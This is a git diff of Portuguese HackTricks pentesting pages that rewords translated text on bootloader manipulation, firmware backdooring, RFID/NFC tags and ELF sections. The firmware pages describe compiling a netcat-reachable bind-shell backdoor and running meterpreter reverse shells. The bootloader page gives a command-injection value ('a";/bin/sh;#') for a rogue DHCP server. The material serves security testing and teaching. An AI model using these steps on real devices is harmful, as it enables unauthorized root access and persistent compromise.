* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
@ -34,23 +34,23 @@ Os seguintes passos são recomendados para modificar as configurações de inici
|
|||
#saveenv
|
||||
#reset
|
||||
#ping 192.168.2.1 #verifique o acesso à rede
|
||||
#tftp ${loadaddr} uImage-3.6.35 #loadaddr pega o endereço para carregar o arquivo e o nome do arquivo da imagem no servidor TFTP
|
||||
#tftp ${loadaddr} uImage-3.6.35 #loadaddr leva o endereço para carregar o arquivo e o nome do arquivo da imagem no servidor TFTP
|
||||
%%%
|
||||
|
||||
4. **Utilize `ubootwrite.py`**:
|
||||
- Use `ubootwrite.py` para escrever a imagem do U-boot e enviar um firmware modificado para obter acesso root.
|
||||
|
||||
5. **Verifique as Características de Depuração**:
|
||||
- Verifique se as características de depuração, como log verbose, carregamento de kernels arbitrários ou inicialização de fontes não confiáveis, estão habilitadas.
|
||||
5. **Verifique Recursos de Depuração**:
|
||||
- Verifique se recursos de depuração como log verbose, carregamento de kernels arbitrários ou inicialização de fontes não confiáveis estão habilitados.
|
||||
|
||||
6. **Interferência de Hardware com Cautela**:
|
||||
- Tenha cuidado ao conectar um pino à terra e interagir com chips de flash SPI ou NAND durante a sequência de inicialização do dispositivo, especialmente antes da descompressão do kernel. Consulte a folha de dados do chip de flash NAND antes de curto-circuitar os pinos.
|
||||
|
||||
7. **Configure um Servidor DHCP Falso**:
|
||||
- Configure um servidor DHCP falso com parâmetros maliciosos para um dispositivo ingerir durante uma inicialização PXE. Utilize ferramentas como o servidor auxiliar DHCP do Metasploit (MSF). Modifique o parâmetro 'FILENAME' com comandos de injeção de comando, como `'a";/bin/sh;#'` para testar a validação de entrada nos procedimentos de inicialização do dispositivo.
|
||||
- Configure um servidor DHCP falso com parâmetros maliciosos para um dispositivo ingerir durante uma inicialização PXE. Utilize ferramentas como o servidor auxiliar DHCP do Metasploit (MSF). Modifique o parâmetro 'FILENAME' com comandos de injeção de comando como `'a";/bin/sh;#'` para testar a validação de entrada nos procedimentos de inicialização do dispositivo.
|
||||
|
||||
**Nota**: Os passos que envolvem interação física com os pinos do dispositivo (*marcados com asteriscos) devem ser abordados com extrema cautela para evitar danificar o dispositivo.
|
||||
**Nota**: Os passos que envolvem interação física com os pinos do dispositivo (*marcados com asteriscos) devem ser abordados com extrema cautela para evitar danos ao dispositivo.
|
||||
|
||||
|
||||
# Referências
|
||||
## Referências
|
||||
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
|
|
@ -1,60 +1,58 @@
|
|||
```markdown
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
# Integridade do Firmware
|
||||
|
||||
O **firmware personalizado e/ou binários compilados podem ser carregados para explorar falhas de verificação de integridade ou assinatura**. Os seguintes passos podem ser seguidos para a compilação de backdoor bind shell:
|
||||
Os **firmwares personalizados e/ou binários compilados podem ser carregados para explorar falhas de integridade ou verificação de assinatura**. Os seguintes passos podem ser seguidos para compilar um backdoor bind shell:
|
||||
|
||||
1. O firmware pode ser extraído usando o firmware-mod-kit (FMK).
|
||||
2. A arquitetura e endianness do firmware alvo devem ser identificadas.
|
||||
3. Um compilador cruzado pode ser construído usando Buildroot ou outros métodos adequados para o ambiente.
|
||||
2. A arquitetura do firmware de destino e a ordem dos bytes devem ser identificadas.
|
||||
3. Um compilador cruzado pode ser construído usando o Buildroot ou outros métodos adequados para o ambiente.
|
||||
4. O backdoor pode ser construído usando o compilador cruzado.
|
||||
5. O backdoor pode ser copiado para o diretório /usr/bin do firmware extraído.
|
||||
6. O binário QEMU apropriado pode ser copiado para o rootfs do firmware extraído.
|
||||
7. O backdoor pode ser emulado usando chroot e QEMU.
|
||||
8. O backdoor pode ser acessado via netcat.
|
||||
9. O binário QEMU deve ser removido do rootfs do firmware extraído.
|
||||
10. O firmware modificado pode ser reempacotado usando FMK.
|
||||
11. O firmware com backdoor pode ser testado emulando-o com o firmware analysis toolkit (FAT) e conectando-se ao IP e porta do backdoor alvo usando netcat.
|
||||
10. O firmware modificado pode ser empacotado novamente usando o FMK.
|
||||
11. O firmware com backdoor pode ser testado emulando-o com o firmware analysis toolkit (FAT) e conectando-se ao IP e porta do backdoor de destino usando netcat.
|
||||
|
||||
Se um shell root já foi obtido através de análise dinâmica, manipulação do bootloader ou testes de segurança de hardware, binários maliciosos pré-compilados como implantes ou reverse shells podem ser executados. Ferramentas automatizadas de payload/implante como o framework Metasploit e 'msfvenom' podem ser utilizadas seguindo os passos abaixo:
|
||||
Se um shell de root já foi obtido por meio de análise dinâmica, manipulação de bootloader ou testes de segurança de hardware, binários maliciosos pré-compilados, como implantes ou shells reversos, podem ser executados. Ferramentas automatizadas de payload/implante como o framework Metasploit e 'msfvenom' podem ser aproveitadas seguindo os seguintes passos:
|
||||
|
||||
1. A arquitetura e endianness do firmware alvo devem ser identificadas.
|
||||
2. Msfvenom pode ser usado para especificar o payload alvo, IP do host atacante, número da porta de escuta, tipo de arquivo, arquitetura, plataforma e o arquivo de saída.
|
||||
3. O payload pode ser transferido para o dispositivo comprometido e garantir que ele tenha permissões de execução.
|
||||
4. Metasploit pode ser preparado para lidar com solicitações de entrada iniciando o msfconsole e configurando as configurações de acordo com o payload.
|
||||
5. O meterpreter reverse shell pode ser executado no dispositivo comprometido.
|
||||
6. Sessões do meterpreter podem ser monitoradas à medida que se abrem.
|
||||
7. Atividades de pós-exploração podem ser realizadas.
|
||||
1. A arquitetura do firmware de destino e a ordem dos bytes devem ser identificadas.
|
||||
2. O Msfvenom pode ser usado para especificar o payload de destino, IP do host atacante, número da porta de escuta, tipo de arquivo, arquitetura, plataforma e o arquivo de saída.
|
||||
3. O payload pode ser transferido para o dispositivo comprometido e garantido que tenha permissões de execução.
|
||||
4. O Metasploit pode ser preparado para lidar com solicitações recebidas iniciando o msfconsole e configurando as configurações de acordo com o payload.
|
||||
5. O shell reverso meterpreter pode ser executado no dispositivo comprometido.
|
||||
6. As sessões do meterpreter podem ser monitoradas à medida que são abertas.
|
||||
7. Atividades pós-exploração podem ser realizadas.
|
||||
|
||||
Se possível, vulnerabilidades dentro de scripts de inicialização podem ser exploradas para obter acesso persistente a um dispositivo através de reinicializações. Essas vulnerabilidades surgem quando scripts de inicialização referenciam, [linkam simbolicamente](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), ou dependem de código localizado em locais montados não confiáveis, como cartões SD e volumes flash usados para armazenar dados fora dos sistemas de arquivos raiz.
|
||||
Se possível, vulnerabilidades dentro de scripts de inicialização podem ser exploradas para obter acesso persistente a um dispositivo através de reinicializações. Essas vulnerabilidades surgem quando os scripts de inicialização fazem referência, [link simbolicamente](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), ou dependem de código localizado em locais montados não confiáveis, como cartões SD e volumes flash usados para armazenar dados fora dos sistemas de arquivos raiz.
|
||||
|
||||
# Referências
|
||||
* Para mais informações, verifique [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
## Referências
|
||||
* Para mais informações, consulte [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,13 +1,13 @@
|
|||
# Teste de penetração RFID
|
||||
# Teste de invasão RFID
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo Discord** ou ao **grupo telegram** ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -16,7 +16,7 @@
|
|||
|
||||
**Identificação por Radiofrequência (RFID)** é a solução de rádio de curto alcance mais popular. Geralmente é usada para armazenar e transmitir informações que identificam uma entidade.
|
||||
|
||||
Uma etiqueta RFID pode depender de **sua própria fonte de energia (ativa)**, como uma bateria embutida, ou receber sua energia da antena de leitura usando a **corrente induzida pelas ondas de rádio recebidas** (**passiva**).
|
||||
Uma etiqueta RFID pode depender de **sua própria fonte de energia (ativa)**, como uma bateria embutida, ou receber sua energia da antena de leitura usando a corrente **induzida pelas ondas de rádio recebidas** (**passiva**).
|
||||
|
||||
### Classes
|
||||
|
||||
|
@ -25,17 +25,17 @@ A EPCglobal divide as etiquetas RFID em seis categorias. Uma etiqueta em cada ca
|
|||
* As etiquetas da **Classe 0** são etiquetas **passivas** que operam em bandas **UHF**. O fornecedor as **pré-programa** na fábrica de produção. Como resultado, você **não pode alterar** as informações armazenadas em sua memória.
|
||||
* As etiquetas da **Classe 1** também podem operar em bandas **HF**. Além disso, elas podem ser **gravadas apenas uma vez** após a produção. Muitas etiquetas da Classe 1 também podem processar **verificações de redundância cíclica** (CRCs) dos comandos que recebem. CRCs são alguns bytes extras no final dos comandos para detecção de erros.
|
||||
* As etiquetas da **Classe 2** podem ser **gravadas várias vezes**.
|
||||
* As etiquetas da **Classe 3** podem conter **sensores embutidos** que podem registrar parâmetros ambientais, como a temperatura atual ou o movimento da etiqueta. Essas etiquetas são **semi-passivas**, porque embora **tenham** uma fonte de energia embutida, como uma **bateria** integrada, elas **não podem iniciar** a **comunicação** sem fio com outras etiquetas ou leitores.
|
||||
* As etiquetas da **Classe 3** podem conter **sensores embutidos** que podem registrar parâmetros ambientais, como a temperatura atual ou o movimento da etiqueta. Essas etiquetas são **semi-passivas**, porque embora **tenham** uma fonte de energia embutida, como uma **bateria integrada**, elas **não podem iniciar** a **comunicação** sem fio com outras etiquetas ou leitores.
|
||||
* As etiquetas da **Classe 4** podem iniciar a comunicação com outras etiquetas da mesma classe, tornando-as etiquetas **ativas**.
|
||||
* As etiquetas da **Classe 5** podem fornecer **energia para outras etiquetas e se comunicar com todas as classes de etiquetas anteriores**. As etiquetas da Classe 5 podem atuar como **leitores RFID**.
|
||||
|
||||
### Informações Armazenadas em Etiquetas RFID
|
||||
|
||||
A memória de uma etiqueta RFID geralmente armazena quatro tipos de dados: os **dados de identificação**, que **identificam** a **entidade** à qual a etiqueta está anexada (esses dados incluem campos definidos pelo usuário, como contas bancárias); os **dados suplementares**, que fornecem **mais detalhes** sobre a entidade; os **dados de controle**, usados para a **configuração interna** da etiqueta; e os **dados do fabricante** da etiqueta, que contêm um Identificador Único da etiqueta (**UID**) e detalhes sobre a **produção**, **tipo** e **fornecedor** da etiqueta. Você encontrará os dois primeiros tipos de dados em todas as etiquetas comerciais; os dois últimos podem diferir com base no fornecedor da etiqueta.
|
||||
A memória de uma etiqueta RFID geralmente armazena quatro tipos de dados: os **dados de identificação**, que **identificam** a **entidade** à qual a etiqueta está anexada (esses dados incluem campos definidos pelo usuário, como contas bancárias); os **dados suplementares**, que fornecem **mais detalhes** sobre a entidade; os **dados de controle**, usados para a **configuração interna** da etiqueta; e os **dados do fabricante da etiqueta**, que contêm um Identificador Único da etiqueta (**UID**) e detalhes sobre a **produção**, **tipo** e **fornecedor** da etiqueta. Você encontrará os dois primeiros tipos de dados em todas as etiquetas comerciais; os dois últimos podem variar com base no fornecedor da etiqueta.
|
||||
|
||||
O padrão ISO especifica o valor do Identificador da Família de Aplicativos (**AFI**), um código que indica o **tipo de objeto** ao qual a etiqueta pertence. Outro registro importante, também especificado pela ISO, é o Identificador de Formato de Armazenamento de Dados (**DSFID**), que define a **organização lógica dos dados do usuário**.
|
||||
|
||||
A maioria dos **controles de segurança** de RFID possui mecanismos que **restringem** as operações de **leitura** ou **escrita** em cada bloco de memória do usuário e nos registros especiais que contêm os valores AFI e DSFID. Esses **mecanismos de bloqueio** usam dados armazenados na memória de controle e têm **senhas padrão** pré-configuradas pelo fornecedor, mas permitem que os proprietários da etiqueta **configurem senhas personalizadas**.
|
||||
A maioria dos **controles de segurança** RFID possui mecanismos que **restringem** as operações de **leitura** ou **gravação** em cada bloco de memória do usuário e nos registros especiais que contêm os valores AFI e DSFID. Esses **mecanismos de bloqueio** usam dados armazenados na memória de controle e têm **senhas padrão** pré-configuradas pelo fornecedor, mas permitem que os proprietários da etiqueta **configurem senhas personalizadas**.
|
||||
|
||||
### Comparação de etiquetas de baixa e alta frequência
|
||||
|
||||
|
@ -43,11 +43,11 @@ A maioria dos **controles de segurança** de RFID possui mecanismos que **restri
|
|||
|
||||
## Etiquetas RFID de Baixa Frequência (125kHz)
|
||||
|
||||
As **etiquetas de baixa frequência** são frequentemente usadas em sistemas que **não requerem alta segurança**: acesso a edifícios, chaves de intercomunicação, cartões de associação de academia, etc. Devido ao seu alcance maior, são convenientes para uso em estacionamentos pagos: o motorista não precisa aproximar o cartão do leitor, pois ele é acionado de longe. Ao mesmo tempo, as etiquetas de baixa frequência são muito primitivas, possuem uma baixa taxa de transferência de dados. Por esse motivo, é impossível implementar uma transferência de dados bidirecional complexa para coisas como manter o saldo e criptografia. As etiquetas de baixa frequência apenas transmitem seu ID curto sem nenhum meio de autenticação.
|
||||
As **etiquetas de baixa frequência** são frequentemente usadas em sistemas que **não requerem alta segurança**: acesso a edifícios, chaves de intercomunicação, cartões de associação de academia, etc. Devido ao seu alcance maior, são convenientes para uso em estacionamentos pagos: o motorista não precisa aproximar o cartão do leitor, pois ele é acionado de longe. Ao mesmo tempo, as etiquetas de baixa frequência são muito primitivas, têm uma baixa taxa de transferência de dados. Por esse motivo, é impossível implementar uma transferência de dados bidirecional complexa para coisas como manter o saldo e criptografia. As etiquetas de baixa frequência apenas transmitem seu ID curto sem nenhum meio de autenticação.
|
||||
|
||||
Esses dispositivos dependem da tecnologia **RFID passiva** e operam em uma **faixa de 30 kHz a 300 kHz**, embora seja mais comum usar 125 kHz a 134 kHz:
|
||||
|
||||
* **Alcance longo** — uma frequência mais baixa se traduz em um alcance maior. Existem alguns leitores EM-Marin e HID, que funcionam a uma distância de até um metro. Eles são frequentemente usados em estacionamentos.
|
||||
* **Alcance Longo** — uma frequência mais baixa se traduz em um alcance maior. Existem alguns leitores EM-Marin e HID, que funcionam a uma distância de até um metro. Eles são frequentemente usados em estacionamentos.
|
||||
* **Protocolo primitivo** — devido à baixa taxa de transferência de dados, essas etiquetas só podem transmitir seu ID curto. Na maioria dos casos, os dados não são autenticados e não são protegidos de forma alguma. Assim que o cartão está dentro do alcance do leitor, ele começa a transmitir seu ID.
|
||||
* **Baixa segurança** — esses cartões podem ser facilmente copiados, ou até mesmo lidos do bolso de outra pessoa devido à primitividade do protocolo.
|
||||
|
||||
|
@ -55,7 +55,7 @@ Esses dispositivos dependem da tecnologia **RFID passiva** e operam em uma **fai
|
|||
|
||||
* **EM-Marin** — EM4100, EM4102. O protocolo mais popular na CEI. Pode ser lido a cerca de um metro de distância devido à sua simplicidade e estabilidade.
|
||||
* **HID Prox II** — protocolo de baixa frequência introduzido pela HID Global. Este protocolo é mais popular nos países ocidentais. É mais complexo e os cartões e leitores para este protocolo são relativamente caros.
|
||||
* **Indala** — protocolo de baixa frequência muito antigo introduzido pela Motorola e posteriormente adquirido pela HID. É menos provável que você encontre este protocolo em uso em comparação com os dois anteriores, pois está caindo em desuso.
|
||||
* **Indala** — protocolo de baixa frequência muito antigo introduzido pela Motorola e posteriormente adquirido pela HID. É menos provável que você o encontre na natureza em comparação com os dois anteriores, pois está caindo em desuso.
|
||||
|
||||
Na realidade, existem muitos mais protocolos de baixa frequência. Mas todos eles usam a mesma modulação na camada física e podem ser considerados, de uma forma ou de outra, uma variação dos listados acima.
|
||||
|
||||
|
@ -76,7 +76,7 @@ Geralmente são encontradas em cartões bancários, transporte público e outras
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Para simplificar, a arquitetura do NFC funciona da seguinte forma: o protocolo de transmissão é escolhido pela empresa que fabrica os cartões e implementado com base no padrão de transmissão ISO 14443 de baixo nível. Por exemplo, a NXP inventou seu próprio protocolo de transmissão de alto nível chamado Mifare. Mas em um nível mais baixo, os cartões Mifare são baseados no padrão ISO 14443-A.
|
||||
Para simplificar, a arquitetura do NFC funciona assim: o protocolo de transmissão é escolhido pela empresa que fabrica os cartões e implementado com base no protocolo de transmissão ISO 14443 de baixo nível. Por exemplo, a NXP inventou seu próprio protocolo de transmissão de alto nível chamado Mifare. Mas em um nível mais baixo, os cartões Mifare são baseados no padrão ISO 14443-A.
|
||||
|
||||
O Flipper pode interagir tanto com o protocolo de transmissão ISO 14443 de baixo nível, quanto com o protocolo de transferência de dados Mifare Ultralight e EMV usado em cartões bancários. Estamos trabalhando para adicionar suporte ao Mifare Classic e NFC NDEF. Uma análise detalhada dos protocolos e padrões que compõem o NFC vale um artigo separado que planejamos publicar posteriormente.
|
||||
|
||||
|
@ -84,7 +84,7 @@ Todos os cartões de alta frequência baseados no padrão ISO 14443-A têm um ID
|
|||
|
||||
Existem muitos sistemas de controle de acesso que dependem do UID para **autenticar e conceder acesso**. Às vezes isso acontece **mesmo** quando as etiquetas RFID **suportam criptografia**. Esse **uso indevido** as coloca no mesmo nível das **etiquetas de 125 kHz** em termos de **segurança**. Cartões virtuais (como o Apple Pay) usam um UID dinâmico para que os proprietários de telefones não saiam abrindo portas com seu aplicativo de pagamento.
|
||||
|
||||
* **Alcance baixo** — os cartões de alta frequência são projetados especificamente para serem colocados perto do leitor. Isso também ajuda a proteger o cartão de interações não autorizadas. A distância máxima de leitura que conseguimos alcançar foi de cerca de 15 cm, e isso foi com leitores de longo alcance feitos sob medida.
|
||||
* **Curto alcance** — os cartões de alta frequência são projetados especificamente para serem colocados próximos ao leitor. Isso também ajuda a proteger o cartão de interações não autorizadas. A distância máxima de leitura que conseguimos alcançar foi de cerca de 15 cm, e isso foi com leitores de longo alcance feitos sob medida.
|
||||
* **Protocolos avançados** — velocidades de transferência de dados de até 424 kbps permitem protocolos complexos com transferência de dados bidirecional completa. O que, por sua vez, **permite criptografia**, transferência de dados, etc.
|
||||
* **Alta segurança** — os cartões sem contato de alta frequência não são de forma alguma inferiores aos cartões inteligentes. Existem cartões que suportam algoritmos criptograficamente fortes como AES e implementam criptografia assimétrica.
|
||||
|
||||
|
@ -108,12 +108,12 @@ Ou usando o **proxmark**:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo Discord** ou ao **grupo telegram** ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -167,7 +167,7 @@ CONTENTS, READONLY
|
|||
* **`.data`**: Variáveis globais com um valor definido no programa.
|
||||
* **`.bss`**: Variáveis globais não inicializadas (ou inicializadas para zero). As variáveis aqui são automaticamente inicializadas para zero, evitando assim zeros inúteis de serem adicionados ao binário.
|
||||
* **`.rodata`**: Variáveis globais constantes (seção somente leitura).
|
||||
* **`.tdata`** e **`.tbss`**: Semelhante ao .data e .bss quando são usadas variáveis locais de thread (`__thread_local` em C++ ou `__thread` em C).
|
||||
* **`.tdata`** e **`.tbss`**: Como o .data e .bss quando são usadas variáveis locais de thread (`__thread_local` em C++ ou `__thread` em C).
|
||||
* **`.dynamic`**: Veja abaixo.
|
||||
|
||||
## Símbolos
|
||||
|
@ -318,13 +318,13 @@ Offset Info Type Sym. Value Sym. Name + Addend
|
|||
|
||||
